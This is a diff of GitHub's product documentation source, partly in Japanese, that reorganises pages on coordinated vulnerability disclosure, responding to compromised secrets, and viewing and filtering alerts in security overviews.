{% data variables.product.prodname_code_scanning_capc %} is available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations that are part of an enterprise with a license for {% else %}for organization-owned repositories if your enterprise uses {% endif %}{% data variables.product.prodname_GH_advanced_security %}.

View File

@@ -53,8 +53,8 @@ includeGuides:
- /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli
- /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system
- /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system
- /code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities
- /code-security/repository-security-advisories/about-github-security-advisories-for-repositories
- /code-security/security-advisories/repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository
- /code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory
- /code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability
- /code-security/repository-security-advisories/creating-a-repository-security-advisory
@@ -63,7 +63,10 @@ includeGuides:
- /code-security/repository-security-advisories/publishing-a-repository-security-advisory
- /code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory
- /code-security/repository-security-advisories/withdrawing-a-repository-security-advisory
- /code-security/repository-security-advisories/best-practices-for-writing-repository-security-advisories
- /code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities
- /code-security/security-advisories/guidance-on-reporting-and-writing/best-practices-for-writing-repository-security-advisories
- /code-security/security-advisories/guidance-on-reporting-and-writing/privately-reporting-a-security-vulnerability
- /code-security/security-advisories/guidance-on-reporting-and-writing/managing-privately-reported-security-vulnerabilities
- /code-security/security-overview/about-the-security-overview
- /code-security/security-overview/filtering-alerts-in-the-security-overview
- /code-security/security-overview/viewing-the-security-overview
@@ -89,11 +92,11 @@ includeGuides:
- /code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph
- /code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api
- /code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository
ms.openlocfilehash: 0d88d53ceab2204eec9038d6726eb851d55ab495
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.openlocfilehash: 2c22dbc00b2188e78fbd977b775bc971697926ec
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 09/05/2022
ms.locfileid: '147578555'
ms.lasthandoff: 11/09/2022
ms.locfileid: '148159214'
---

View File

@@ -23,7 +23,7 @@ featuredLinks:
popular:
- '{% ifversion ghes %}/admin/release-notes{% endif %}'
- /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies
- /code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities
- /code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities
- /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot
- /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates
- /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot

View File

@@ -96,7 +96,7 @@ For more information about viewing and resolving {% data variables.product.prodn
Repository administrators and organization owners can grant users and teams access to {% data variables.product.prodname_secret_scanning %} alerts. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)."
{% ifversion ghec or ghes or ghae > 3.4 %}
You can use the security overview to see an organization-level view of which repositories have enabled {% data variables.product.prodname_secret_scanning %} and the alerts found. For more information, see "[Viewing the security overview](/code-security/security-overview/viewing-the-security-overview)."
You can use the security overview to see an organization-level view of which repositories have enabled {% data variables.product.prodname_secret_scanning %} and the alerts found. For more information, see "[Viewing security overviews](/code-security/security-overview/viewing-the-security-overview)."
{% endif %}
{%- ifversion ghec or ghes or ghae %}You can also use the REST API to

View File

@@ -70,6 +70,9 @@ shortTitle: Manage secret alerts
Once a secret has been committed to a repository, you should consider the secret compromised. {% data variables.product.prodname_dotcom %} recommends the following actions for compromised secrets:
- For a compromised {% data variables.product.prodname_dotcom %} {% data variables.product.pat_generic %}, delete the compromised token, create a new token, and update any services that use the old token. For more information, see "[Creating a {% data variables.product.pat_generic %} for the command line](/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line)."
{%- ifversion token-audit-log %}
- {% ifversion ghec %}If your organization is owned by an enterprise account, identify{% else %}Identify{% endif %} any actions taken by the compromised token on your enterprise's resources. For more information, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)."
{%- endif %}
- For all other secrets, first verify that the secret committed to {% data variables.product.product_name %} is valid. If so, create a new secret, update any services that use the old secret, and then delete the old secret.
{% ifversion ghec %}

View File

@@ -19,6 +19,8 @@ topics:
{% data reusables.repositories.tracks-vulnerabilities %}
Security advisories are published as JSON files in the Open Source Vulnerability (OSV) format. For more information about the OSV format, see "[Open Source Vulnerability format](https://ossf.github.io/osv-schema/)."
## About types of security advisories
{% data reusables.advisory-database.beta-malware-advisories %}

View File

@@ -11,12 +11,15 @@ topics:
- Repositories
- CVEs
children:
- /about-coordinated-disclosure-of-security-vulnerabilities
- /best-practices-for-writing-repository-security-advisories
ms.openlocfilehash: 71eb2be3bc1590536bdb43f9bb08953859924748
ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
- /privately-reporting-a-security-vulnerability
- /managing-privately-reported-security-vulnerabilities
ms.openlocfilehash: 14efd02206d899ab62ad3b03a538f75088afaa18
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 10/27/2022
ms.locfileid: '148114010'
ms.lasthandoff: 11/09/2022
ms.locfileid: '148158838'
---

View File

@@ -1,77 +0,0 @@
---
title: セキュリティ脆弱性の調整された開示について
intro: 脆弱性の開示は、セキュリティの報告者とリポジトリメンテナの調整された取り組みです。
redirect_from:
- /code-security/security-advisories/about-coordinated-disclosure-of-security-vulnerabilities
- /code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities
miniTocMaxHeadingLevel: 3
versions:
fpt: '*'
ghec: '*'
type: overview
topics:
- Security advisories
- Vulnerabilities
shortTitle: Coordinated disclosure
ms.openlocfilehash: c451554e08b4193ca20f9af8a5e694750808bf19
ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 10/27/2022
ms.locfileid: '148114155'
---
## 業界における脆弱性の開示について
{% data reusables.security-advisory.disclosing-vulnerabilities %}
脆弱性の初期の報告は非公開で行われ、完全な詳細はメンテナが問題を認め、理想的には対策もしくはパッチが利用可能になり、場合によってはパッチがインストールできるようさらに時間をおいてから公開されます。 詳細については、OWASP Cheat Sheet Series (OWASP チート シート シリーズ) の Web サイトの [「OWASP Cheat Sheet Series」 (OWASP チート シート シリーズ) の「Vulnerability Disclosure」 (脆弱性の開示) ](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html#commercial-and-open-source-software)を参照してください。
### 脆弱性報告者のためのベストプラクティス
脆弱性をメンテナに非公開で報告するのは良いやり方です。 可能なら、脆弱性報告者は以下を避けることをおすすめします。
- メンテナに対策の機会を与えることなく脆弱性を公開してしまうこと。
- メンテナをバイパスしてしまうこと。
- コードの修正バージョンが利用可能になる前に脆弱性を公開してしまうこと。
- パブリックなバウンティプログラムが存在しない場合に、問題の報告に補償がなされると期待すること。
メンテナに連絡を取ろうとしてレスポンスがなかったり、連絡は取れたものの公開をあまりに長く待つよう頼まれたなら、一定期間後に脆弱性報告者が脆弱性を公開することは許容できます。
脆弱性の報告者は、報告のプロセスの一部として、開示ポリシーの条件を明確に述べることをおすすめします。 脆弱性報告者が厳密なポリシーに従っていないばあいでも、意図的な脆弱性の開示の時期についてメンテナが明確な期待を持てるようにするのは良い考えです。 開示ポリシーの例については、GitHub Security Lab の Web サイトの「[Security Lab's disclosure policy](https://securitylab.github.com/advisories#policy)」 (Security Lab の開示ポリシー) を参照してください。
### メンテナのためのベストプラクティス
メンテナは、脆弱性の報告をいつどのように受けたいかを明確に示しておくのが良いでしょう。 この情報が明確に利用できない場合、脆弱性報告者はどのように連絡をすればいいか分からず、gitのコミット履歴から開発者のメールアドレスを取り出して適切なセキュリティに関する連絡先を見つけようとするかもしれません。 これは、不和、報告の喪失、未解決の報告の公開につながるかもしれません。
メンテナは、適時に脆弱性を開示すべきです。 リポジトリにセキュリティ脆弱性があるなら、以下のようにすることをおすすめします。
- 脆弱性は、レスポンスにおいても開示においても単純なバグとしてよりもセキュリティの問題として対処してください。 たとえば、リリースノートではその問題をセキュリティ脆弱性として明示的に言及する必要があります。
- 脆弱性報告を受け取ったことは、たとえすぐに調査するためのリソースがない場合でも、できるだけ早く認めてください。 これはあなたが迅速に対応して行動するというメッセージを送ることになり、あなたと脆弱性報告者との間のそれ以外のやりとりに肯定的なトーンが設定されます。
- 報告のインパクトと正確性を検証する際には、脆弱性報告者にも関わってもらってください。 おそらく脆弱性の報告者は、すでにその脆弱性を様々なシナリオの中で考慮するのに時間をかけているでしょう。その中には、あなたが自分では考えていなかったものがあるかもしれません。
- 脆弱性の報告者が提供してくれた懸念点とアドバイスを慎重に考慮に入れて、適切と思われる方法で問題に対処してください。 脆弱性の報告者は、しばしば特定のコーナーケースや対処のバイパスに関する知識を持っており、それらはセキュリティ研究のバックグラウンドなしでは簡単に見逃してしまうものです。
- 発見されたことを評価する際には、常に脆弱性の報告者に感謝を示してください。
- できるかぎり早い修正の公開を目指してください。
- 脆弱性を開示する際には、広汎なエコシステムがその問題と対策を認識するようにしてください。 認識されたセキュリティの問題がプロジェクトの現在の開発ブランチで修正されながら、そのコミットあるいはそれ以降のリリースがセキュリティ修正あるいはリリースとして明示的に示されていない場合が珍しくありません。 これによって、下流の利用者に問題が生じることがあります。
セキュリティ脆弱性の詳細を開会しても、メンテナが悪く見えることはありません。 セキュリティ脆弱性はソフトウェアのあらゆるところに存在し、ユーザはコード中のセキュリティ脆弱性を開示するための明確な確立されたプロセスを持つメンテナを信頼します。
## {% data variables.product.prodname_dotcom %}上のプロジェクトの脆弱性の報告と開示について
{% data variables.product.prodname_dotcom_the_website %}上のプロジェクトの脆弱性の報告と開示のプロセスは以下のようになります。
あなたが脆弱性の報告したいと考えている人(たとえばセキュリティ研究者)なら、まず関連するリポジトリにセキュリティポリシーがあるかをチェックしてください。 詳細については、「[セキュリティ ポリシーについて](/code-security/getting-started/adding-a-security-policy-to-your-repository#about-security-policies)」を参照してください。 セキュリティポリシーがあるなら、そのリポジトリのセキュリティチームに連絡する前に、それに従ってプロセスを理解してください。
セキュリティポリシーがないなら、メンテナへの非公開のコミュニケーション方法を確立するための最も効率的な方法は、望ましいセキュリティの連絡先を尋ねるIssueを作成することです。 そのIssueはすぐに公に見ることができるようになるので、そこにはバグに関する情報は含めないようにするべきであることには注意してください。 コミュニケーションが確立できたら、将来的に利用できるよう、セキュリティポリシーを規定してもらうメンテナに提案できます。
{% note %}
**注**: _npm のみ_ - npm パッケージのマルウェアに関する報告を受けた場合は、お客様個人にご連絡させていただきます。 あなたが適時問題に対応しない場合、私たちはその問題を開示します。 詳細については、npm Docs の Web サイトの「[eporting malware in an npm package](https://docs.npmjs.com/reporting-malware-in-an-npm-package)」 (npm パッケージ内のマルウェアの報告) を参照してください。
{% endnote %}
{% data variables.product.prodname_dotcom_the_website %}でセキュリティ脆弱性を発見したら、私たちの調整された開示プロセスを通じてその脆弱性を報告してください。 詳細については、「[{% data variables.product.prodname_dotcom %} セキュリティ アドバイザリの概要](https://bounty.github.com/)」を参照してください。
あなたがメンテナなら、リポジトリのセキュリティポリシーを設定するか、たとえばプロジェクトのREADMEファイルでセキュリティの報告方法を明確にしておくことによって、このパイプラインの開始時点からプロセスの所有権を取ることができます。 セキュリティ ポリシーの追加の詳細については、「[セキュリティ ポリシーについて](/code-security/getting-started/adding-a-security-policy-to-your-repository#about-security-policies)」を参照してください。 セキュリティポリシーがない場合、セキュリティの報告者はおそらくあなたにメールするか、非公開であなたに連絡しようとするでしょう。 あるいは、誰かがセキュリティの問題の詳細を含むパブリックなIssueをオープンするかもしれません。
メンテナとしてコード中の脆弱性を開示するために、まずは{% data variables.product.prodname_dotcom %}でパッケージのリポジトリにドラフトのセキュリティアドバイザリを作成します。 {% data reusables.security-advisory.security-advisory-overview %} 詳細については、「[リポジトリのセキュリティ アドバイザリについて](/code-security/repository-security-advisories/about-github-security-advisories-for-repositories)」を参照してください。
開始するには、「[リポジトリ セキュリティ アドバイザリの作成](/code-security/repository-security-advisories/creating-a-repository-security-advisory)」を参照してください。

View File

@@ -16,12 +16,12 @@ topics:
- Security advisories
- Vulnerabilities
- CVEs
ms.openlocfilehash: a9f411a28812edadb810861a6b4d5239db1722a5
ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
ms.openlocfilehash: 562969ec29feda0901b79f8b6e2cb9cdb390ea56
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 10/27/2022
ms.locfileid: '148114160'
ms.lasthandoff: 11/09/2022
ms.locfileid: '148158822'
---
{% data reusables.repositories.security-advisory-admin-permissions %}
@@ -29,7 +29,7 @@ ms.locfileid: '148114160'
## リポジトリ セキュリティ アドバイザリについて
{% data reusables.security-advisory.disclosing-vulnerabilities %} 詳細については、「[セキュリティ脆弱性の調整された開示について](/code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities)」を参照してください。
{% data reusables.security-advisory.disclosing-vulnerabilities %} 詳細については、「[セキュリティ脆弱性の調整された開示について](/code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities)」を参照してください。
{% data reusables.security-advisory.security-advisory-overview %}

View File

@@ -15,9 +15,9 @@ topics:
- Repositories
- CVEs
children:
- /about-coordinated-disclosure-of-security-vulnerabilities
- /about-repository-security-advisories
- /permission-levels-for-repository-security-advisories
- /configuring-private-vulnerability-reporting-for-a-repository
- /creating-a-repository-security-advisory
- /editing-a-repository-security-advisory
- /collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability
@@ -25,11 +25,11 @@ children:
- /adding-a-collaborator-to-a-repository-security-advisory
- /removing-a-collaborator-from-a-repository-security-advisory
- /withdrawing-a-repository-security-advisory
ms.openlocfilehash: 2584e75893b9e8ce97af843a61b8fae8e5fc9704
ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
ms.openlocfilehash: 81de06dcbe130eedcbf9dbd4dedb7e21dae5db79
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 10/27/2022
ms.locfileid: '148114014'
ms.lasthandoff: 11/09/2022
ms.locfileid: '148159022'
---

View File

@@ -1,10 +1,11 @@
---
title: About the security overview
intro: 'You can view, filter, and sort security alerts for repositories owned by your organization or team in one place: the Security Overview page.'
title: About security overviews
intro: 'You can view, filter, and sort security alerts for repositories owned by your organization or team in the security overview pages.'
permissions: '{% data reusables.security-overview.permissions %}'
product: '{% data reusables.gated-features.security-overview %}'
redirect_from:
- /code-security/security-overview/exploring-security-alerts
allowTitleToDifferFromFilename: true
versions:
fpt: '*'
ghae: '*'
@@ -19,39 +20,83 @@ topics:
- Dependencies
- Organizations
- Teams
shortTitle: About security overview
shortTitle: About security overviews
---
{% ifversion ghes < 3.5 or ghae %}
{% data reusables.security-overview.beta %}
{% endif %}
## About the security overview
## About security overviews
{% ifversion ghes or ghec or ghae %}You{% elsif fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %}{% endif %} can use the security overview for a high-level view of the security status of {% ifversion ghes or ghec or ghae %}your {% elsif fpt %}their{% endif %} organization or to identify problematic repositories that require intervention. {% ifversion ghes or ghec or ghae %}You {% elsif fpt %}These organizations{% endif %} can view aggregate or repository-specific security information in the security overview. {% ifversion ghes or ghec or ghae %}You {% elsif fpt %} Organizations that use {% data variables.product.prodname_ghe_cloud %}{% endif %} can also use the security overview to see which security features are enabled for {% ifversion ghes or ghec or ghae %}your {% elsif fpt %}their {% endif %} repositories and to configure any available security features that are not currently in use. {% ifversion fpt %}For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/security-overview/about-the-security-overview).{% endif %}
Security overviews provide high-level summaries of the security status of an organization or enterprise and make it easy to identify problematic repositories that require intervention. You can also use the security overviews to see which repositories have enabled specific security features and to configure any available security features that are not currently in use. {% ifversion fpt %}For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/security-overview/about-the-security-overview).{% endif %}
{% ifversion ghec or ghes or ghae %}
The security overview indicates whether {% ifversion fpt or ghes or ghec %}security{% endif %}{% ifversion ghae %}{% data variables.product.prodname_GH_advanced_security %}{% endif %} features are enabled for repositories owned by your organization and consolidates alerts for each feature.{% ifversion fpt or ghes or ghec %} Security features include {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}, as well as {% data variables.product.prodname_dependabot_alerts %}.{% endif %} For more information about {% data variables.product.prodname_GH_advanced_security %} features, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."{% ifversion fpt or ghes or ghec %} For more information about {% data variables.product.prodname_dependabot_alerts %}, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)."{% endif %}
Security overviews show which security features are enabled for repositories and consolidate alerts for each feature.
For more information about securing your code at the repository and organization levels, see "[Securing your repository](/code-security/getting-started/securing-your-repository)" and "[Securing your organization](/code-security/getting-started/securing-your-organization)."
- Risk and coverage information about {% data variables.product.prodname_dependabot %} features and alerts is shown for all repositories.
- Risk and coverage information for {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}, is shown only for enterprises that use {% data variables.product.prodname_GH_advanced_security %}.
The application security team at your company can use the security overview for both broad and specific analyses of your organization's security status. For example, they can use the overview page to monitor adoption of features by your organization or by a specific team as you rollout {% data variables.product.prodname_GH_advanced_security %} to your enterprise, or to review all alerts of a specific type and severity level across all repositories in your organization.
For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)" and "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."
### About filtering and sorting alerts
## About filtering and sorting alerts
In the security overview, you can view, sort, and filter alerts to understand the security risks in your organization and in specific repositories. The security summary is highly interactive, allowing you to investigate specific categories of information, based on qualifiers like alert risk level, alert type, and feature enablement. You can also apply multiple filters to focus on narrower areas of interest. For example, you can identify private repositories that have a high number of {% data variables.product.prodname_dependabot_alerts %} or repositories that have no {% data variables.product.prodname_code_scanning %} alerts. For more information, see "[Filtering alerts in the security overview](/code-security/security-overview/filtering-alerts-in-the-security-overview)."
{% ifversion security-overview-views %}
In the security overview, there are dedicated views for each type of security alert, such as Dependabot, code scanning, and secret scanning alerts. You can use these views to limit your analysis to a specific set of alerts, and narrow the results further with a range of filters specific to each view. For example, in the secret scanning alert view, you can use the `Secret type` filter to view only secret scanning alerts for a specific secret, like a GitHub {% data variables.product.pat_generic %}. At the repository level, you can use the security overview to assess the specific repository's current security status, and configure any additional security features not yet in use on the repository.
Security overviews provide a powerful way to understand the security of a group of repositories. The views are interactive with filters that allow you to drill into the aggregated data and identify sources of high risk or low feature coverage. As you apply multiple filters to focus on narrower areas of interest, the data across the view changes to reflect your selection. For more information, see "[Filtering alerts in security overviews](/code-security/security-overview/filtering-alerts-in-the-security-overview)."
{% ifversion security-overview-alert-views %}
There are also dedicated views for each type of security alert that you can use to limit your analysis to a specific set of alerts, and then narrow the results further with a range of filters specific to each view. For example, in the {% data variables.product.prodname_secret_scanning %} alert view, you can use the `Secret type` filter to view only {% data variables.product.prodname_secret_scanning %} alerts for a specific secret, like a GitHub {% data variables.product.pat_generic %}.
{% endif %}
![The security overview for an organization](/assets/images/help/organizations/security-overview.png)
{% note %}
**Note:** Security overviews display active alerts raised by security features. If there are no alerts in the security overview for a repository, undetected security vulnerabilities or code errors may still exist.
{% endnote %}
## About organization-level security overviews
{% data reusables.security-overview.beta-org-risk-coverage %}
You can find the security overviews on the **Security** tab for any organization that's owned by an enterprise. Each overview shows aggregated data that you can drill down into, as you add each filter, the data is updated to reflect the repositories or alerts that you've selected.
The application security team at your company can use the different security overviews for both broad and specific analyses of your organization's security status. {% ifversion security-overview-org-risk-coverage %}For example, the team can use the "Security Coverage" page to monitor the adoption of features across your organization or by a specific team as you rollout {% data variables.product.prodname_GH_advanced_security %}, or use the "Security Risk" page to identify repositories with more than five open {% data variables.product.prodname_secret_scanning %} alerts.{% else %}For example, they can use the overview page to monitor adoption of features by your organization or by a specific team as you rollout {% data variables.product.prodname_GH_advanced_security %} to your enterprise, or to review all alerts of a specific type and severity level across all repositories in your organization.{% endif %}
Organization owners and security managers for organizations have access to security overviews for their organizations. {% ifversion ghec or ghes > 3.6 or ghae > 3.6 %}Organization members can also access organization-level security overviews to view results for repositories where they have admin privileges or have been granted access to security alerts. For more information on managing security alert access, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."{% endif %}
{% ifversion security-overview-org-risk-coverage %}
### Security Risk view
This view shows data about the repositories affected by different types of security alert.
- Use the **Type** and **Teams** drop-downs to add repository type and team filters.
- Click **Open alerts** or **Repositories affected** to show only repositories with a specific type of security alert.
In addition, when you click in the search box, a list of the full set of filters available is shown.
![Screenshot of the Security Risk view for an organization](/assets/images/help/security-overview/security-risk-view.png)
### Security Coverage view
This view shows data about which repositories are using security features.
- Use the **Type** and **Teams** drop-downs to add repository type and team filters.
- Click **Alerts enabled** and other features listed in the header to see only repositories with those features enabled.
- Change any `FEATURE:enabled` filter to `FEATURE:not-enabled` in the search box to see repositories that haven't enabled a feature.
- For any repository, click the ellipsis (**...**) then **Security Settings** to enable additional features.
In addition, when you click in the search box, a list of the full set of filters available is shown.
![Screenshot of the Security Coverage view for an organization](/assets/images/help/security-overview/security-coverage-view.png)
{% else %}
### Understanding the main security overview
![Screenshot of the security overview for an organization](/assets/images/help/security-overview/security-overview-org-legacy.png)
For each repository in the security overview, you will see icons for each type of security feature and how many alerts there are of each type. If a security feature is not enabled for a repository, the icon for that feature will be grayed out. In addition, a risk score is calculated for each repository based on its code scanning, Dependabot and secret scanning alerts. This score is in beta and should be used with caution. Its algorithm and approach is subject to change.
![Icons in the security overview](/assets/images/help/organizations/security-overview-icons.png)
![Icons in the security overview](/assets/images/help/security-overview/security-overview-icons.png)
| Icon | Meaning |
| -------- | -------- |
@@ -61,29 +106,29 @@ For each repository in the security overview, you will see icons for each type o
| {% octicon "check" aria-label="Check" %} | The security feature is enabled, but does not raise alerts in this repository. |
| {% octicon "x" aria-label="x" %} | The security feature is not supported in this repository. |
The security overview displays active alerts raised by security features. If there are no alerts in the security overview for a repository, undetected security vulnerabilities or code errors may still exist.
### About the organization-level security overview
At the organization-level, the security overview displays aggregate and repository-specific security information for repositories owned by your organization. You can filter information by security features at the organization-level.
Organization owners and security managers for organizations have access to the organization-level security overview. {% ifversion ghec or ghes > 3.6 or ghae > 3.6 %}Organization members can access the organization-level security overview to view results for repositories where they have admin privileges or have been granted access to security alerts. For more information on managing security alert access, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)".{% endif %}
{% endif %}
{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %}
### About the enterprise-level security overview
At the enterprise-level, the security overview displays aggregate and repository-specific security information for your enterprise. You can view repositories owned by your enterprise that have security alerts, view all security alerts, or security feature-specific alerts from across your enterprise.
## About enterprise-level security overviews
Organization owners and security managers for organizations in your enterprise have access to the enterprise-level security overview. They can view repositories and alerts for the organizations that they have full access to.
You can find the security overviews on the **Code Security** tab for your enterprise. Each overview displays aggregated and repository-specific security information for your enterprise. You can view repositories owned by your enterprise that have security alerts, view all security alerts, or security feature-specific alerts from across your enterprise.
Enterprise owners can only see alerts for organizations that they are an owner or a security manager of.{% ifversion ghec or ghes > 3.5 or ghae > 3.5 %} Enterprise owners can join an organization as an organization owner to see all of its alerts in the enterprise-level security overview. For more information, see "[Managing your role in an organization owned by your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise)."{% endif %}
Enterprise owners can view alerts for organizations that they are an owner or a security manager of.{% ifversion ghec or ghes > 3.5 or ghae > 3.5 %} Enterprise owners can join an organization as an organization owner to see all of its alerts in the enterprise-level security overview. For more information, see "[Managing your role in an organization owned by your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise)."{% endif %}
{% elsif fpt %}
### About the enterprise-level security overview
At the enterprise-level, the security overview displays aggregate and repository-specific information for an enterprise. For more information, see "[About the enterprise-level security overview](/enterprise-cloud@latest/code-security/security-overview/about-the-security-overview#about-the-enterprise-level-security-overview)" in the {% data variables.product.prodname_ghe_cloud %} documentation.
Organization owners and security managers for organizations in an enterprise have access to the enterprise-level security overview. They can view repositories and alerts for the organizations that they have full access to.
{% endif %}
{% ifversion ghes < 3.7 or ghae < 3.7 %}
### About the team-level security overview
## About team-level security overviews
You can find the security overviews on the **Security** tab for any team in an organization that's owned by an enterprise.
At the team-level, the security overview displays repository-specific security information for repositories that the team has admin privileges for. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)."
{% endif %}
## Further reading
- "[Securing your repository](/code-security/getting-started/securing-your-repository)"
- "[Securing your organization](/code-security/getting-started/securing-your-organization)"
- "[Introduction to adopting GitHub Advanced Security at scale](/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale)"
{% endif %}

View File

@@ -1,8 +1,9 @@
---
title: Filtering alerts in the security overview
title: Filtering alerts in security overviews
intro: Use filters to view specific categories of alerts
permissions: '{% data reusables.security-overview.permissions %}'
product: '{% data reusables.gated-features.security-overview %}'
allowTitleToDifferFromFilename: true
versions:
ghae: '*'
ghes: '*'
@@ -14,16 +15,16 @@ topics:
- Alerts
- Organizations
- Teams
shortTitle: Filtering alerts
shortTitle: Filtering security overviews
---
{% ifversion ghes < 3.5 or ghae %}
{% data reusables.security-overview.beta %}
{% endif %}
## About filtering the security overview
## About filtering security overviews
You can use filters in the security overview to narrow your focus based on a range of factors, like alert risk level, alert type and feature enablement. Different filters are available depending on the specific view and whether your analysis is at the organization, team or repository level.
You can use filters in a security overview to narrow your focus based on a range of factors, like alert risk level, alert type, and feature enablement. Different filters are available depending on the specific view{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %} and whether you are viewing data at the enterpise or organization level{% endif %}.
{% ifversion security-overview-displayed-alerts %}
{% note %}
@@ -33,45 +34,56 @@ You can use filters in the security overview to narrow your focus based on a ran
## Filter by repository
Available in all organization-level and team-level views.
| Qualifier | Description |
| -------- | -------- |
| `repo:REPOSITORY-NAME` | Displays alerts for the specified repository. |
| `repo:REPOSITORY-NAME` | Displays data for the specified repository. |
## Filter by whether security features are enabled
Available in the organization-level and team-level overview.
In the examples below, replace `:enabled` with `:not-enabled` to see repositories where security features are not enabled. These qualifiers are available in the main summary views.
| Qualifier | Description |
| -------- | -------- |
| `code-scanning:enabled` | Display repositories that have {% data variables.product.prodname_code_scanning %} enabled. |
| `code-scanning:not-enabled` | Display repositories that do not have {% data variables.product.prodname_code_scanning %} enabled. |
| `secret-scanning:enabled` | Display repositories that have {% data variables.product.prodname_secret_scanning %} enabled. |
| `secret-scanning:not-enabled` | Display repositories that have {% data variables.product.prodname_secret_scanning %} enabled. |
| `dependabot:enabled` | Display repositories that have {% data variables.product.prodname_dependabot_alerts %} enabled. |
| `dependabot:not-enabled` | Display repositories that do not have {% data variables.product.prodname_dependabot_alerts %} enabled. |
| `not-enabled:any` | Display repositories with at least one security feature that is not enabled. |
| `code-scanning:enabled` | Display repositories that have set up {% data variables.product.prodname_code_scanning %}. |
| `dependabot:enabled` | Display repositories that have enabled {% data variables.product.prodname_dependabot_alerts %}. |
| `secret-scanning:enabled` | Display repositories that have enabled {% data variables.product.prodname_secret_scanning %} alerts. {% ifversion security-overview-org-risk-coverage %} |
| `any-feature:enabled` | Display repositories where at least one security feature is enabled. |{% else %}
| `not-enabled:any` | Display repositories with at least one security feature that is not enabled. |{% endif %}
{% ifversion security-overview-org-risk-coverage %}
The organization-level Security Coverage view includes extra filters.
{% data reusables.security-overview.beta-org-risk-coverage %}
| Qualifier | Description |
| -------- | -------- |
| `code-scanning-pull-request-alerts:enabled`| Display repositories that have configured {% data variables.product.prodname_code_scanning %} to run on pull requests. |
